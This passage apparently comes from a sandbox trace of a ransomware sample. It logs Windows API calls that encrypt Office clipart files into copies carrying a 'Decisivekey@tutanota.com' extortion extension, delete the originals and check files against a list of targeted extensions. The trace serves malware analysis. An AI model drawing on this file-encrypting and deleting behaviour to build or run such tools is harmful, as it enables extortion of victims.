lpOverlapped=0x0) returned 1 [0220.488] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0220.489] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.489] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.489] SetEndOfFile (hFile=0x1f4) returned 1 [0220.489] CloseHandle (hObject=0x1f4) returned 1 [0220.489] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.489] SetEndOfFile (hFile=0x1d8) returned 1 [0220.490] CloseHandle (hObject=0x1d8) returned 1 [0220.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0220.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0220.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0220.490] lstrlenW (lpString=".doc") returned 4 [0220.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.490] lstrlenW (lpString=".docx") returned 5 [0220.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.490] lstrlenW (lpString=".pdf") returned 4 [0220.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.491] lstrlenW (lpString=".xls") returned 4 [0220.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.491] lstrlenW (lpString=".xlsx") returned 5 [0220.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.491] lstrlenW (lpString=".ppt") returned 4 [0220.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0220.491] lstrlenW (lpString=".zip") returned 4 [0220.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.491] lstrlenW (lpString=".rar") returned 4 [0220.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.491] lstrlenW (lpString=".bz2") returned 4 [0220.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.491] lstrlenW (lpString=".7z") returned 3 [0220.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0220.491] lstrlenW (lpString=".dbf") returned 4 [0220.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0220.491] lstrlenW (lpString=".1cd") returned 4 [0220.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0220.491] lstrlenW (lpString=".jpg") returned 4 [0220.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.491] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=580) returned 1 [0220.491] CloseHandle (hObject=0x1d8) returned 1 [0220.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0220.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0220.492] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.492] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.509] GetLastError () returned 0x0 [0220.509] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x244, lpOverlapped=0x0) returned 1 [0220.509] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x250, lpOverlapped=0x0) returned 1 [0220.511] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.511] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.513] SetEndOfFile (hFile=0x1f4) returned 1 [0220.514] CloseHandle (hObject=0x1f4) returned 1 [0220.514] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.514] SetEndOfFile (hFile=0x1d8) returned 1 [0220.514] CloseHandle (hObject=0x1d8) returned 1 [0220.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0220.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0220.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0220.515] lstrlenW (lpString=".doc") returned 4 [0220.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.515] lstrlenW (lpString=".docx") returned 5 [0220.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.515] lstrlenW (lpString=".pdf") returned 4 [0220.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.515] lstrlenW (lpString=".xls") returned 4 [0220.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.515] lstrlenW (lpString=".xlsx") returned 5 [0220.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.515] lstrlenW (lpString=".ppt") returned 4 [0220.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0220.515] lstrlenW (lpString=".zip") returned 4 [0220.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.515] lstrlenW (lpString=".rar") returned 4 [0220.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.515] lstrlenW (lpString=".bz2") returned 4 [0220.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.515] lstrlenW (lpString=".7z") returned 3 [0220.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0220.515] lstrlenW (lpString=".dbf") returned 4 [0220.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0220.515] lstrlenW (lpString=".1cd") returned 4 [0220.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0220.515] lstrlenW (lpString=".jpg") returned 4 [0220.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.519] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2300) returned 1 [0220.519] CloseHandle (hObject=0x20c) returned 1 [0220.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0220.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.519] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.519] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.520] GetLastError () returned 0x0 [0220.520] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0220.521] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x900, lpOverlapped=0x0) returned 1 [0220.522] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.522] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.522] SetEndOfFile (hFile=0x180) returned 1 [0220.522] CloseHandle (hObject=0x180) returned 1 [0220.522] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.522] SetEndOfFile (hFile=0x20c) returned 1 [0220.524] CloseHandle (hObject=0x20c) returned 1 [0220.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0220.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0220.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0220.524] lstrlenW (lpString=".doc") returned 4 [0220.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.524] lstrlenW (lpString=".docx") returned 5 [0220.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.524] lstrlenW (lpString=".pdf") returned 4 [0220.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.524] lstrlenW (lpString=".xls") returned 4 [0220.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.524] lstrlenW (lpString=".xlsx") returned 5 [0220.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.524] lstrlenW (lpString=".ppt") returned 4 [0220.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0220.524] lstrlenW (lpString=".zip") returned 4 [0220.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.524] lstrlenW (lpString=".rar") returned 4 [0220.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.524] lstrlenW (lpString=".bz2") returned 4 [0220.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.524] lstrlenW (lpString=".7z") returned 3 [0220.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0220.524] lstrlenW (lpString=".dbf") returned 4 [0220.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0220.524] lstrlenW (lpString=".1cd") returned 4 [0220.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0220.525] lstrlenW (lpString=".jpg") returned 4 [0220.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.525] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3252) returned 1 [0220.525] CloseHandle (hObject=0x20c) returned 1 [0220.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0220.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.525] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.525] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.526] GetLastError () returned 0x0 [0220.526] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xcb4, lpOverlapped=0x0) returned 1 [0220.528] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0220.529] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.529] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.529] SetEndOfFile (hFile=0x180) returned 1 [0220.529] CloseHandle (hObject=0x180) returned 1 [0220.529] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.529] SetEndOfFile (hFile=0x20c) returned 1 [0220.530] CloseHandle (hObject=0x20c) returned 1 [0220.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0220.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0220.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0220.530] lstrlenW (lpString=".doc") returned 4 [0220.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.530] lstrlenW (lpString=".docx") returned 5 [0220.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.530] lstrlenW (lpString=".pdf") returned 4 [0220.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.530] lstrlenW (lpString=".xls") returned 4 [0220.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.530] lstrlenW (lpString=".xlsx") returned 5 [0220.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.530] lstrlenW (lpString=".ppt") returned 4 [0220.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0220.530] lstrlenW (lpString=".zip") returned 4 [0220.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.530] lstrlenW (lpString=".rar") returned 4 [0220.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.530] lstrlenW (lpString=".bz2") returned 4 [0220.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.530] lstrlenW (lpString=".7z") returned 3 [0220.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0220.531] lstrlenW (lpString=".dbf") returned 4 [0220.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0220.531] lstrlenW (lpString=".1cd") returned 4 [0220.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0220.531] lstrlenW (lpString=".jpg") returned 4 [0220.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.531] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1382) returned 1 [0220.531] CloseHandle (hObject=0x20c) returned 1 [0220.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0220.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.531] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.531] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.537] GetLastError () returned 0x0 [0220.543] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x566, lpOverlapped=0x0) returned 1 [0220.547] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x570, lpOverlapped=0x0) returned 1 [0220.548] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.548] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.548] SetEndOfFile (hFile=0x180) returned 1 [0220.548] CloseHandle (hObject=0x180) returned 1 [0220.548] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.548] SetEndOfFile (hFile=0x20c) returned 1 [0220.549] CloseHandle (hObject=0x20c) returned 1 [0220.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0220.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0220.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0220.549] lstrlenW (lpString=".doc") returned 4 [0220.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.549] lstrlenW (lpString=".docx") returned 5 [0220.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.549] lstrlenW (lpString=".pdf") returned 4 [0220.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.549] lstrlenW (lpString=".xls") returned 4 [0220.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.549] lstrlenW (lpString=".xlsx") returned 5 [0220.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.549] lstrlenW (lpString=".ppt") returned 4 [0220.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0220.550] lstrlenW (lpString=".zip") returned 4 [0220.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.550] lstrlenW (lpString=".rar") returned 4 [0220.550] lstrcmpiW 